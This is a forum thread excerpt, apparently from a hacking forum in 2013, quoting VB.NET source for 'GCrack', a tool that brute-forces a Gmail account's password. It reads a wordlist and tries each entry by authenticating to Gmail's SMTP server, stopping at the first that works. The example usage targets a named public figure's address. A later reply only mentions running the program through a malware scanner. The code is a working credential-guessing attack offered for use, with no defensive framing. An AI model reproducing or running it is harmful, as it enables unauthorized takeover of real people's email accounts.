GCrack.vb Wrote:Imports System.Net.Mail
Imports System.IO
Imports System.Windows.Forms

Public Class GCrack
Private Shared Function Check(ByVal Email As String, ByVal Password As String) As Boolean
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(Email)
MyMailMessage.To.Add(Email)
MyMailMessage.Subject = "x"
MyMailMessage.Body = "x"
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(Email, Password)
SMTPServer.EnableSsl = True
Try
SMTPServer.Send(MyMailMessage)
Return True
Catch ex As SmtpException
Return False
End Try
End Function

Public Shared Function Crack(ByVal Address As String, ByVal File As String) As String
Dim Found As Boolean = False
Using SR As New StreamReader(Application.StartupPath & "\" & File)
Do While SR.Peek >= 0 And found = False
Dim line As String = SR.ReadLine()
If Check(Address, line) Then
Found = True
Return line
End If
Loop
End Using
Return Nothing
End Function
End Class

Example usage Wrote:Dim Response As String = GCrack.Crack("obama@Gmail.com", "list.txt")
If Response <> Nothing Then
Console.Writeline("The password is: " & Response)
End If

(05-17-2013, 04:28 AM)Mxdaraexe Wrote: Since you don't feel like uploading a scan of the program, I'll run this through anubis and upload the results...